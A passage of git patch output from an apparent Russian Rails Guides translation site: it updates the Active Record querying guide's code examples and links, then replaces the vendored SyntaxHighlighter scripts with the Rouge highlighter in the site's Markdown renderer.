запись невалидна. Валидации не раскрываются в этом руководстве, но давайте на момент предположим, что вы временно добавили +Можно также использовать [`find_or_create_by!`][], чтобы вызвать исключение, если новая запись невалидна. Валидации не раскрываются в этом руководстве, но давайте на момент предположим, что вы временно добавили ```ruby validates :orders_count, presence: true @@ -1726,24 +1870,26 @@ validates :orders_count, presence: true в модель `Customer`. Если попытаетесь создать нового `Customer` без передачи `orders_count`, запись будет невалидной и будет вызвано исключение: -```ruby -Customer.find_or_create_by!(first_name: 'Andy') -# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank +```irb +irb> Customer.find_or_create_by!(first_name: 'Andy') +ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank ``` +[`find_or_create_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by-21 + ### `find_or_initialize_by` -Метод `find_or_initialize_by` работает похоже на `find_or_create_by`, но он вызывает не `create`, а `new`. Это означает, что новый экземпляр модели будет создан в памяти, но не будет сохранен в базу данных. Продолжая пример с `find_or_create_by`, теперь нам нужен покупатель по имени 'Nina': +Метод [`find_or_initialize_by`][] работает похоже на `find_or_create_by`, но он вызывает не `create`, а `new`. Это означает, что новый экземпляр модели будет создан в памяти, но не будет сохранен в базу данных. Продолжая пример с `find_or_create_by`, теперь нам нужен покупатель по имени 'Nina': -```ruby -nina = Customer.find_or_initialize_by(first_name: 'Nina') -# => # +```irb +irb> nina = Customer.find_or_initialize_by(first_name: 'Nina') +=> # -nina.persisted? -# => false +irb> nina.persisted? +=> false -nina.new_record? -# => true +irb> nina.new_record? +=> true ``` Поскольку объект еще не сохранен в базу данных, сгенерированный SQL выглядит так: @@ -1754,57 +1900,54 @@ SELECT * FROM customers WHERE (customers.first_name = 'Nina') LIMIT 1 Когда захотите сохранить его в базу данных, просто вызовите `save`: -```ruby -nina.save -# => true +```irb +irb> nina.save +=> true ``` +[`find_or_initialize_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_initialize_by + Поиск с помощью SQL ------------------- -Если вы предпочитаете использовать собственные запросы SQL для поиска записей в таблице, можете использовать `find_by_sql`. Метод `find_by_sql` возвратит массив объектов, даже если лежащий в основе запрос вернет всего лишь одну запись. Например, можете запустить такой запрос: +Если вы предпочитаете использовать собственные запросы SQL для поиска записей в таблице, можете использовать [`find_by_sql`][]. Метод `find_by_sql` возвратит массив объектов, даже если лежащий в основе запрос вернет всего лишь одну запись. Например, можете запустить такой запрос: -```ruby -Customer.find_by_sql("SELECT * FROM customers - INNER JOIN orders ON customers.id = orders.customer_id - ORDER BY customers.created_at desc") -# => [ -# #, -# #, -# ... -# ] +```irb +irb> Customer.find_by_sql("SELECT * FROM customers INNER JOIN orders ON customers.id = orders.customer_id ORDER BY customers.created_at desc") +=> [#, #, ...] ``` `find_by_sql` предоставляет простой способ создания произвольных запросов к базе данных и получения экземпляров объектов. +[`find_by_sql`]: https://api.rubyonrails.org/classes/ActiveRecord/Querying.html#method-i-find_by_sql + ### `select_all` -У `find_by_sql` есть близкий родственник, называемый `connection#select_all`. `select_all` получит объекты из базы данных, используя произвольный SQL, как и в `find_by_sql`, но не создаст их экземпляры. Этот метод вернет экземпляр класса `ActiveRecord::Result` и вызвав `to_a` на этом объекте вернет массив хэшей, где каждый хэш указывает на запись. +У `find_by_sql` есть близкий родственник, называемый [`connection.select_all`][]. `select_all` получит объекты из базы данных, используя произвольный SQL, как и в `find_by_sql`, но не создаст их экземпляры. Этот метод вернет экземпляр класса `ActiveRecord::Result` и вызов `to_a` на этом объекте вернет массив хэшей, где каждый хэш указывает на запись. -```ruby -Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_hash -# => [ -# {"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, -# {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"} -# ] +```irb +irb> Customer.connection.select_all("SELECT first_name, created_at FROM customers WHERE id = '1'").to_hash +=> [{"first_name"=>"Rafael", "created_at"=>"2012-11-10 23:23:45.281189"}, {"first_name"=>"Eileen", "created_at"=>"2013-12-09 11:22:35.221282"}] ``` +[`connection.select_all`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-select_all + ### `pluck` -`pluck` может быть использован для запроса с одним или несколькими столбцами из таблицы, лежащей в основе модели. Он принимает список имен столбцов как аргумент и возвращает массив значений определенных столбцов соответствующего типа данных. +[`pluck`][] может быть использован для запроса с одним или несколькими столбцами из таблицы, лежащей в основе модели. Он принимает список имен столбцов как аргумент и возвращает массив значений определенных столбцов соответствующего типа данных. -```ruby -Book.where(out_of_print: true).pluck(:id) -# SELECT id FROM books WHERE out_of_print = false -# => [1, 2, 3] +```irb +irb> Book.where(out_of_print: true).pluck(:id) +SELECT id FROM books WHERE out_of_print = false +=> [1, 2, 3] -Order.distinct.pluck(:status) -# SELECT DISTINCT status FROM orders -# => ['shipped', 'being_packed', 'cancelled'] +irb> Order.distinct.pluck(:status) +SELECT DISTINCT status FROM orders +=> ["shipped", "being_packed", "cancelled"] -Customer.pluck(:id, :first_name) -# SELECT customers.id, customers.name FROM customers -# => [[1, 'David'], [2, 'Fran'], [3, 'Jose']] +irb> Customer.pluck(:id, :first_name) +SELECT customers.id, customers.name FROM customers +=> [[1, "David"], [2, "Fran"], [3, "Jose"]] ``` `pluck` позволяет заменить такой код: @@ -1833,67 +1976,74 @@ class Customer < ApplicationRecord "I am #{first_name}" end end +``` -Customer.select(:first_name).map &:name -# => ["I am David", "I am Jeremy", "I am Jose"] +```irb +irb> Customer.select(:first_name).map &:name +=> ["I am David", "I am Jeremy", "I am Jose"] -Customer.pluck(:first_name) -# => ["David", "Jeremy", "Jose"] +irb> Customer.pluck(:first_name) +=> ["David", "Jeremy", "Jose"] ``` Вы не ограничены запросом полей из одиночной таблицы, также можно запрашивать несколько таблиц. -```ruby -Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title") +```irb +irb> Order.joins(:customer, :books).pluck("orders.created_at, customers.email, books.title") ``` Более того, в отличие от `select` и других скоупов `Relation`, `pluck` вызывает немедленный запрос, и поэтому не может быть соединен с любыми последующими скоупами, хотя он может работать со скоупами, подключенными ранее: -```ruby -Customer.pluck(:first_name).limit(1) -# => NoMethodError: undefined method `limit' for # +```irb +irb> Customer.pluck(:first_name).limit(1) +NoMethodError: undefined method `limit' for # -Customer.limit(1).pluck(:first_name) -# => ["David"] +irb> Customer.limit(1).pluck(:first_name) +=> ["David"] ``` NOTE: Следует знать, что использование `pluck` запустит нетерпеливую загрузку, если объект relation содержит включаемые значения, даже если нетерпеливая загрузка не нужна для запроса. Например: -```ruby -# сохраняем связь для ее повторного использования -assoc = Customer.includes(:reviews) -assoc.pluck(:id) -# SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id" +```irb +irb> assoc = Customer.includes(:reviews) +irb> assoc.pluck(:id) +SELECT "customers"."id" FROM "customers" LEFT OUTER JOIN "reviews" ON "reviews"."id" = "customers"."review_id" ``` Один из способов избежать этого — `unscope` на includes: -```ruby -assoc.unscope(:includes).pluck(:id) +```irb +irb> assoc.unscope(:includes).pluck(:id) ``` +[`pluck`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-pluck + ### `ids` -`ids` может быть использован для сбора всех ID для relation, используя первичный ключ таблицы. +[`ids`][] может быть использован для сбора всех ID для relation, используя первичный ключ таблицы. -```ruby -Customer.ids -# SELECT id FROM customers +```irb +irb> Customer.ids +SELECT id FROM customers ``` ```ruby class Customer < ApplicationRecord self.primary_key = "customer_id" end +``` -Customer.ids -# SELECT customer_id FROM customers +```irb +irb> Customer.ids +SELECT customer_id FROM customers ``` +[`ids`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-ids + Существование объектов ---------------------- -Если вы просто хотите проверить существование объекта, есть метод, называемый `exists?`. Этот метод запрашивает базу данных, используя тот же запрос, что и `find`, но вместо возврата объекта или коллекции объектов, он возвращает или `true`, или `false`. +Если вы просто хотите проверить существование объекта, есть метод, называемый [`exists?`][]. Этот метод запрашивает базу данных, используя тот же запрос, что и `find`, но вместо возврата объекта или коллекции объектов, он возвращает или `true`, или `false`. ```ruby Customer.exists?(1) @@ -1941,29 +2091,31 @@ Customer.first.orders.any? Customer.first.orders.many? ``` -Вычисления ----------- +[`exists?`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F + +(calculations) Вычисления +------------------------- -Этот раздел использует `count` для примера в этой преамбуле, но описанные опции применяются ко всем подразделам. +Этот раздел использует [`count`][] для примера в этой преамбуле, но описанные опции применяются ко всем подразделам. Все методы вычисления работают прямо на модели: -```ruby -Customer.count -# SELECT COUNT(*) FROM customers +```irb +irb> Customer.count +SELECT COUNT(*) FROM customers ``` Или на relation: -```ruby -Customer.where(first_name: 'Ryan').count -# SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan') +```irb +irb> Customer.where(first_name: 'Ryan').count +SELECT COUNT(*) FROM customers WHERE (first_name = 'Ryan') ``` Можно также использовать различные методы поиска на relation для выполнения сложных вычислений: -```ruby -Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count +```irb +irb> Customer.includes("orders").where(first_name: 'Ryan', orders: { status: 'shipped' }).count ``` Что выполнит: @@ -1980,11 +2132,11 @@ SELECT COUNT(DISTINCT customers.id) FROM customers Если хотите увидеть, сколько записей есть в таблице модели, можете вызвать `Customer.count`, и он возвратит число. Если хотите быть более определенным и найти всех покупателей с присутствующим в базе данных титулом, используйте `Customer.count(:title)`. -Про опции смотрите выше в разделе [Вычисления](#vychisleniya). +Про опции смотрите выше в разделе [Вычисления](#calculations). ### Среднее -Если хотите увидеть среднее значение определенного показателя в одной из ваших таблиц, можно вызвать метод `average` для класса, относящегося к таблице. Вызов этого метода выглядит так: +Если хотите увидеть среднее значение определенного показателя в одной из ваших таблиц, можно вызвать метод [`average`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby Order.average("subtotal") @@ -1992,42 +2144,50 @@ Order.average("subtotal") Это возвратит число (возможно, с плавающей запятой, такое как 3.14159265), представляющее среднее значение поля. -Про опции смотрите выше в разделе [Вычисления](#vychisleniya). +Про опции смотрите выше в разделе [Вычисления](#calculations). + +[`average`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-average ### Минимум -Если хотите найти минимальное значение поля в таблице, можете вызвать метод `minimum` для класса, относящегося к таблице. Вызов этого метода выглядит так: +Если хотите найти минимальное значение поля в таблице, можете вызвать метод [`minimum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby Order.minimum("subtotal") ``` -Про опции смотрите выше в разделе [Вычисления](#vychisleniya). +Про опции смотрите выше в разделе [Вычисления](#calculations). + +[`minimum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-minimum ### Максимум -Если хотите найти максимальное значение поля в таблице, можете вызвать метод `maximum` для класса, относящегося к таблице. Вызов этого метода выглядит так: +Если хотите найти максимальное значение поля в таблице, можете вызвать метод [`maximum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby Order.maximum("subtotal") ``` -Про опции смотрите выше в разделе [Вычисления](#vychisleniya). +Про опции смотрите выше в разделе [Вычисления](#calculations). + +[`maximum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-maximum ### Сумма -Если хотите найти сумму полей для всех записей в таблице, можете вызвать метод `sum` для класса, относящегося к таблице. Вызов этого метода выглядит так: +Если хотите найти сумму полей для всех записей в таблице, можете вызвать метод [`sum`][] для класса, относящегося к таблице. Вызов этого метода выглядит так: ```ruby Order.sum("subtotal") ``` -Про опции смотрите выше в разделе [Вычисления](#vychisleniya). +Про опции смотрите выше в разделе [Вычисления](#calculations). + +[`sum`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-sum Запуск EXPLAIN -------------- -Можно запустить EXPLAIN на запросах, вызываемых в relations. Вывод EXPLAIN различается для каждой базы данных. +Можно запустить [`explain`][] на запросах, вызываемых в relations. Вывод EXPLAIN различается для каждой базы данных. Например, запуск @@ -2125,6 +2285,8 @@ EXPLAIN for: SELECT `orders`.* FROM `orders` WHERE `orders`.`customer_id` IN (1 (2 rows) ``` +[`explain`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-explain + ### Интерпретация EXPLAIN Интерпретация результатов EXPLAIN находится за рамками этого руководства. Может быть полезной следующая информация: diff --git a/source/index.yml b/source/index.yml index c270af5d..4bc44e8e 100644 --- a/source/index.yml +++ b/source/index.yml @@ -51,8 +51,8 @@ pages: - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 7066f08cd8595b4a7e6615205ec629c66daa0647 - date: 26/08/2020 + revision: ba3933c4db1696ea2badedb2455bc3329216eabc + date: 14/02/2021 - title: Active Record для PostgreSQL path: active-record-postgresql From 3e3dbdf39901b5874bc822574f2951724ac80cef Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sat, 20 Feb 2021 20:42:16 +0300 Subject: [PATCH 553/932] New highlighter for code --- Gemfile | 1 + Gemfile.lock | 2 + app/assets/javascripts/application.js | 2 - app/assets/javascripts/highlighter.coffee | 8 - app/assets/stylesheets/application.css.sass | 3 +- app/assets/stylesheets/pages.css.sass | 8 + app/views/static_docs/pages/show.html.haml | 4 +- lib/renderers/markdown.rb | 38 +-- vendor/assets/javascripts/sh/shAutoloader.js | 17 -- vendor/assets/javascripts/sh/shBrushPlain.js | 33 --- vendor/assets/javascripts/sh/shBrushRuby.js | 55 ----- vendor/assets/javascripts/sh/shBrushSql.js | 66 ----- vendor/assets/javascripts/sh/shBrushXml.js | 69 ------ vendor/assets/javascripts/sh/shCore.js | 17 -- vendor/assets/stylesheets/highlight.css | 209 ++++++++++++++++ vendor/assets/stylesheets/shCore.css | 226 ------------------ .../assets/stylesheets/shThemeRailsGuides.css | 117 --------- 17 files changed, 244 insertions(+), 631 deletions(-) delete mode 100644 app/assets/javascripts/highlighter.coffee delete mode 100644 vendor/assets/javascripts/sh/shAutoloader.js delete mode 100644 vendor/assets/javascripts/sh/shBrushPlain.js delete mode 100644 vendor/assets/javascripts/sh/shBrushRuby.js delete mode 100644 vendor/assets/javascripts/sh/shBrushSql.js delete mode 100644 vendor/assets/javascripts/sh/shBrushXml.js delete mode 100644 vendor/assets/javascripts/sh/shCore.js create mode 100644 vendor/assets/stylesheets/highlight.css delete mode 100644 vendor/assets/stylesheets/shCore.css delete mode 100644 vendor/assets/stylesheets/shThemeRailsGuides.css diff --git a/Gemfile b/Gemfile index 762a0876..7b53587e 100644 --- a/Gemfile +++ b/Gemfile @@ -20,6 +20,7 @@ gem 'redcarpet' gem 'config' gem 'twitter-bootstrap-rails', '~> 2.2.8' gem 'jquery-rails' +gem 'rouge' gem 'capistrano', '~> 2.15' gem 'unicorn' diff --git a/Gemfile.lock b/Gemfile.lock index 3fd82637..7b5328c5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -217,6 +217,7 @@ GEM rchardet (1.8.0) redcarpet (3.5.0) ref (2.0.0) + rouge (3.26.0) rspec-core (3.9.1) rspec-support (~> 3.9.1) rspec-expectations (3.9.1) @@ -311,6 +312,7 @@ DEPENDENCIES pry-rails rails (~> 5.2.4.3) redcarpet + rouge rspec-rails rspec_junit_formatter russian diff --git a/app/assets/javascripts/application.js b/app/assets/javascripts/application.js index 12a906ef..ab4cfb1c 100644 --- a/app/assets/javascripts/application.js +++ b/app/assets/javascripts/application.js @@ -1,8 +1,6 @@ //= require jquery //= require jquery_ujs //= require twitter/bootstrap -//= require sh/shCore -//= require sh/shAutoloader //= require_self //= require_tree . diff --git a/app/assets/javascripts/highlighter.coffee b/app/assets/javascripts/highlighter.coffee deleted file mode 100644 index c3fe1e21..00000000 --- a/app/assets/javascripts/highlighter.coffee +++ /dev/null @@ -1,8 +0,0 @@ -$ -> - SyntaxHighlighter.autoloader( - 'text plain /assets/sh/shBrushPlain.js', - 'ruby rails ror rb /assets/sh/shBrushRuby.js', - 'sql /assets/sh/shBrushSql.js', - 'xml xhtml xslt html /assets/sh/shBrushXml.js' - ) - SyntaxHighlighter.all() diff --git a/app/assets/stylesheets/application.css.sass b/app/assets/stylesheets/application.css.sass index 64663ecc..ffe35718 100644 --- a/app/assets/stylesheets/application.css.sass +++ b/app/assets/stylesheets/application.css.sass @@ -1,6 +1,5 @@ //= require_self -//= require shCore -//= require shThemeRailsGuides +//= require highlight //= require_tree . .inside_page_header:before diff --git a/app/assets/stylesheets/pages.css.sass b/app/assets/stylesheets/pages.css.sass index 2d148340..769dd46a 100644 --- a/app/assets/stylesheets/pages.css.sass +++ b/app/assets/stylesheets/pages.css.sass @@ -12,6 +12,10 @@ div.code_container background: #EEE image-url('http://github.com/tab_grey.gif') no-repeat left top padding: 0.25em 1em 0.5em 48px margin: 0.25em 0 1.5em 0 + pre + border: 0 + background-color: inherit + margin: 1em 0 .note background: #fff9d8 image-url('http://github.com/tab_note.gif') no-repeat left top @@ -30,3 +34,7 @@ span.rails_mark font-style: italic color: red font-weight: bold + +// When triple-clicking shell code, select only the command, not the prompt +code.highlight.console span.w + display: table-cell diff --git a/app/views/static_docs/pages/show.html.haml b/app/views/static_docs/pages/show.html.haml index 490d8088..d8b745ec 100644 --- a/app/views/static_docs/pages/show.html.haml +++ b/app/views/static_docs/pages/show.html.haml @@ -2,9 +2,9 @@ -# #main_page_banner.well -# = render "shared/banner", url: 'http://bit.ly/rbybnr1', image: 'partners/spherecon2017.jpg' -- cache ['v1', @page] do +- cache ['v2', @page] do = @page.rendered_body(self) - content_for :menu do - - cache ['v1', @page, 'menu'] do + - cache ['v2', @page, 'menu'] do = @page.meta[:menu] diff --git a/lib/renderers/markdown.rb b/lib/renderers/markdown.rb index 7fcc640e..d2032f79 100644 --- a/lib/renderers/markdown.rb +++ b/lib/renderers/markdown.rb @@ -15,6 +15,9 @@ def engine }) end + # Add more common shell commands + Rouge::Lexers::Shell::BUILTINS << "|bin/rails|brew|bundle|gem|git|node|rails|rake|ruby|sqlite3|yarn" + class Renderer < Redcarpet::Render::HTML attr_reader :headers @@ -27,13 +30,14 @@ def initialize(options = {}) end def block_code(code, language) - <<-HTML -
    -
    -#{ERB::Util.h(code)}
    -
    -
    -HTML + formatter = Rouge::Formatters::HTML.new + lexer = ::Rouge::Lexer.find_fancy(lexer_language(language)) + formatted_code = formatter.format(lexer.lex(code)) + <<~HTML +
    +
    #{formatted_code}
    +
    + HTML end def sanitizer @@ -55,7 +59,7 @@ def header(text, header_level) prev_count_hid_container = @hid_container.count(hid) - 1 @hid_hash[hid] = prev_count_hid_container if prev_count_hid_container != 0 end - + hid.concat (@hid_hash[hid].to_i + 1).to_s if @hid_hash[hid].present? else @hid_hash[hid] = @hid_container.count(hid) @@ -123,16 +127,16 @@ def convert_footnotes(text) end end - def brush_for(code_type) + def lexer_language(code_type) case code_type - when 'ruby', 'sql', 'plain' - code_type - when 'erb', 'html+erb' - 'ruby' - when 'html' - 'xml' # html is understood, but there are .xml rules in the CSS - else - 'plain' + when "html+erb" + "erb" + when "bash" + "console" + when nil + "plaintext" + else + ::Rouge::Lexer.find(code_type) ? code_type : "plaintext" end end diff --git a/vendor/assets/javascripts/sh/shAutoloader.js b/vendor/assets/javascripts/sh/shAutoloader.js deleted file mode 100644 index 4e29bdde..00000000 --- a/vendor/assets/javascripts/sh/shAutoloader.js +++ /dev/null @@ -1,17 +0,0 @@ -/** - * SyntaxHighlighter - * http://alexgorbatchev.com/SyntaxHighlighter - * - * SyntaxHighlighter is donationware. If you are using it, please donate. - * http://alexgorbatchev.com/SyntaxHighlighter/donate.html - * - * @version - * 3.0.83 (July 02 2010) - * - * @copyright - * Copyright (C) 2004-2010 Alex Gorbatchev. - * - * @license - * Dual licensed under the MIT and GPL licenses. - */ -eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(2(){1 h=5;h.I=2(){2 n(c,a){4(1 d=0;d[:\\w-\\.]+)', 'xg').exec(code), - result = [] - ; - - if (match.attributes != null) - { - var attributes, - regex = new XRegExp('(? [\\w:\\-\\.]+)' + - '\\s*=\\s*' + - '(? ".*?"|\'.*?\'|\\w+)', - 'xg'); - - while ((attributes = regex.exec(code)) != null) - { - result.push(new constructor(attributes.name, match.index + attributes.index, 'color1')); - result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string')); - } - } - - if (tag != null) - result.push( - new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword') - ); - - return result; - } - - this.regexList = [ - { regex: new XRegExp('(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)', 'gm'), css: 'color2' }, // - { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // - { regex: new XRegExp('(<|<)[\\s\\/\\?]*(\\w+)(?.*?)[\\s\\/\\?]*(>|>)', 'sg'), func: process } - ]; - }; - - Brush.prototype = new SyntaxHighlighter.Highlighter(); - Brush.aliases = ['xml', 'xhtml', 'xslt', 'html']; - - SyntaxHighlighter.brushes.Xml = Brush; - - // CommonJS - typeof(exports) != 'undefined' ? exports.Brush = Brush : null; -})(); diff --git a/vendor/assets/javascripts/sh/shCore.js b/vendor/assets/javascripts/sh/shCore.js deleted file mode 100644 index b47b6454..00000000 --- a/vendor/assets/javascripts/sh/shCore.js +++ /dev/null @@ -1,17 +0,0 @@ -/** - * SyntaxHighlighter - * http://alexgorbatchev.com/SyntaxHighlighter - * - * SyntaxHighlighter is donationware. If you are using it, please donate. - * http://alexgorbatchev.com/SyntaxHighlighter/donate.html - * - * @version - * 3.0.83 (July 02 2010) - * - * @copyright - * Copyright (C) 2004-2010 Alex Gorbatchev. - * - * @license - * Dual licensed under the MIT and GPL licenses. - */ -eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f}6 t(f){H(f.1J?"g":"")+(f.4s?"i":"")+(f.4p?"m":"")+(f.4v?"x":"")+(f.3n?"y":"")}6 B(f,e,a,b){K c=u.L,d,h,g;v=R;5K{O(;c--;){g=u[c];I(a&g.3r&&(!g.2p||g.2p.W(b))){g.2q.12=e;I((h=g.2q.X(f))&&h.P===e){d={3k:g.2b.W(b,h,a),1C:h};1N}}}}5v(i){1S i}5q{v=11}H d}6 p(f,e,a){I(3b.Z.1i)H f.1i(e,a);O(a=a||0;a-1},3d:6(g){e+=g}};c1&&p(e,"")>-1){a=15(J.1m,n.Q.W(t(J),"g",""));n.Q.W(f.1a(e.P),a,6(){O(K c=1;c<14.L-2;c++)I(14[c]===1d)e[c]=1d})}I(J.1w&&J.1w.19)O(K b=1;be.P&&J.12--}H e};I(!D)15.Z.1A=6(f){(f=n.X.W(J,f))&&J.1J&&!f[0].L&&J.12>f.P&&J.12--;H!!f};1r.Z.1C=6(f){M.1R(f)||(f=15(f));I(f.1J){K e=n.1C.1p(J,14);f.12=0;H e}H f.X(J)};1r.Z.Q=6(f,e){K a=M.1R(f),b,c;I(a&&1j e.58()==="3f"&&e.1i("${")===-1&&y)H n.Q.1p(J,14);I(a){I(f.1w)b=f.1w.19}Y f+="";I(1j e==="6")c=n.Q.W(J,f,6(){I(b){14[0]=1f 1r(14[0]);O(K d=0;dd.L-3;){i=1r.Z.1a.W(g,-1)+i;g=1Q.3i(g/10)}H(g?d[g]||"":"$")+i}Y{g=+i;I(g<=d.L-3)H d[g];g=b?p(b,i):-1;H g>-1?d[g+1]:h}})})}I(a&&f.1J)f.12=0;H c};1r.Z.1e=6(f,e){I(!M.1R(f))H n.1e.1p(J,14);K a=J+"",b=[],c=0,d,h;I(e===1d||+e<0)e=5D;Y{e=1Q.3i(+e);I(!e)H[]}O(f=M.3c(f);d=f.X(a);){I(f.12>c){b.U(a.1a(c,d.P));d.L>1&&d.P=e)1N}f.12===d.P&&f.12++}I(c===a.L){I(!n.1A.W(f,"")||h)b.U("")}Y b.U(a.1a(c));H b.L>e?b.1a(0,e):b};M.1h(/\\(\\?#[^)]*\\)/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"});M.1h(/\\((?!\\?)/,6(){J.19.U(N);H"("});M.1h(/\\(\\?<([$\\w]+)>/,6(f){J.19.U(f[1]);J.2N=R;H"("});M.1h(/\\\\k<([\\w$]+)>/,6(f){K e=p(J.19,f[1]);H e>-1?"\\\\"+(e+1)+(3R(f.2S.3a(f.P+f[0].L))?"":"(?:)"):f[0]});M.1h(/\\[\\^?]/,6(f){H f[0]==="[]"?"\\\\b\\\\B":"[\\\\s\\\\S]"});M.1h(/^\\(\\?([5A]+)\\)/,6(f){J.3d(f[1]);H""});M.1h(/(?:\\s+|#.*)+/,6(f){H n.1A.W(A,f.2S.1a(f.P+f[0].L))?"":"(?:)"},M.1B,6(){H J.2K("x")});M.1h(/\\./,6(){H"[\\\\s\\\\S]"},M.1B,6(){H J.2K("s")})})();1j 2e!="1d"&&(2e.M=M);K 1v=6(){6 r(a,b){a.1l.1i(b)!=-1||(a.1l+=" "+b)}6 t(a){H a.1i("3e")==0?a:"3e"+a}6 B(a){H e.1Y.2A[t(a)]}6 p(a,b,c){I(a==N)H N;K d=c!=R?a.3G:[a.2G],h={"#":"1c",".":"1l"}[b.1o(0,1)]||"3h",g,i;g=h!="3h"?b.1o(1):b.5u();I((a[h]||"").1i(g)!=-1)H a;O(a=0;d&&a\'+c+""});H a}6 n(a,b){a.1e("\\n");O(K c="",d=0;d<50;d++)c+=" ";H a=v(a,6(h){I(h.1i("\\t")==-1)H h;O(K g=0;(g=h.1i("\\t"))!=-1;)h=h.1o(0,g)+c.1o(0,b-g%b)+h.1o(g+1,h.L);H h})}6 x(a){H a.Q(/^\\s+|\\s+$/g,"")}6 D(a,b){I(a.Pb.P)H 1;Y I(a.Lb.L)H 1;H 0}6 y(a,b){6 c(k){H k[0]}O(K d=N,h=[],g=b.2D?b.2D:c;(d=b.1I.X(a))!=N;){K i=g(d,b);I(1j i=="3f")i=[1f e.2L(i,d.P,b.23)];h=h.1O(i)}H h}6 E(a){K b=/(.*)((&1G;|&1y;).*)/;H a.Q(e.3A.3M,6(c){K d="",h=N;I(h=b.X(c)){c=h[1];d=h[2]}H\'\'+c+""+d})}6 z(){O(K a=1E.36("1k"),b=[],c=0;c<1z 4I="1Z://2y.3L.3K/4L/5L"><3J><4N 1Z-4M="5G-5M" 6K="2O/1z; 6J=6I-8" /><1t>6L 1v<3B 1L="25-6M:6Q,6P,6O,6N-6F;6y-2f:#6x;2f:#6w;25-22:6v;2O-3D:3C;">1v3v 3.0.76 (72 73 3x)1Z://3u.2w/1v70 17 6U 71.6T 6X-3x 6Y 6D.6t 61 60 J 1k, 5Z 5R 5V <2R/>5U 5T 5S!\'}},1Y:{2j:N,2A:{}},1U:{},3A:{6n:/\\/\\*[\\s\\S]*?\\*\\//2c,6m:/\\/\\/.*$/2c,6l:/#.*$/2c,6k:/"([^\\\\"\\n]|\\\\.)*"/g,6o:/\'([^\\\\\'\\n]|\\\\.)*\'/g,6p:1f M(\'"([^\\\\\\\\"]|\\\\\\\\.)*"\',"3z"),6s:1f M("\'([^\\\\\\\\\']|\\\\\\\\.)*\'","3z"),6q:/(&1y;|<)!--[\\s\\S]*?--(&1G;|>)/2c,3M:/\\w+:\\/\\/[\\w-.\\/?%&=:@;]*/g,6a:{18:/(&1y;|<)\\?=?/g,1b:/\\?(&1G;|>)/g},69:{18:/(&1y;|<)%=?/g,1b:/%(&1G;|>)/g},6d:{18:/(&1y;|<)\\s*1k.*?(&1G;|>)/2T,1b:/(&1y;|<)\\/\\s*1k\\s*(&1G;|>)/2T}},16:{1H:6(a){6 b(i,k){H e.16.2o(i,k,e.13.1x[k])}O(K c=\'\',d=e.16.2x,h=d.2X,g=0;g";H c},2o:6(a,b,c){H\'<2W>\'+c+""},2b:6(a){K b=a.1F,c=b.1l||"";b=B(p(b,".20",R).1c);K d=6(h){H(h=15(h+"6f(\\\\w+)").X(c))?h[1]:N}("6g");b&&d&&e.16.2x[d].2B(b);a.3N()},2x:{2X:["21","2P"],21:{1H:6(a){I(a.V("2l")!=R)H"";K b=a.V("1t");H e.16.2o(a,"21",b?b:e.13.1x.21)},2B:6(a){a=1E.6j(t(a.1c));a.1l=a.1l.Q("47","")}},2P:{2B:6(){K a="68=0";a+=", 18="+(31.30-33)/2+", 32="+(31.2Z-2Y)/2+", 30=33, 2Z=2Y";a=a.Q(/^,/,"");a=1P.6Z("","38",a);a.2C();K b=a.1E;b.6W(e.13.1x.37);b.6V();a.2C()}}}},35:6(a,b){K c;I(b)c=[b];Y{c=1E.36(e.13.34);O(K d=[],h=0;h(.*?))\\\\]$"),s=1f 